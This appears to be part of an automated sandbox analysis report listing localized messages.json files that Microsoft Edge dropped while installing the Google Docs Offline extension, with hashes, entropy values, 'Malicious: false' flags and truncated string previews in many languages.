Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
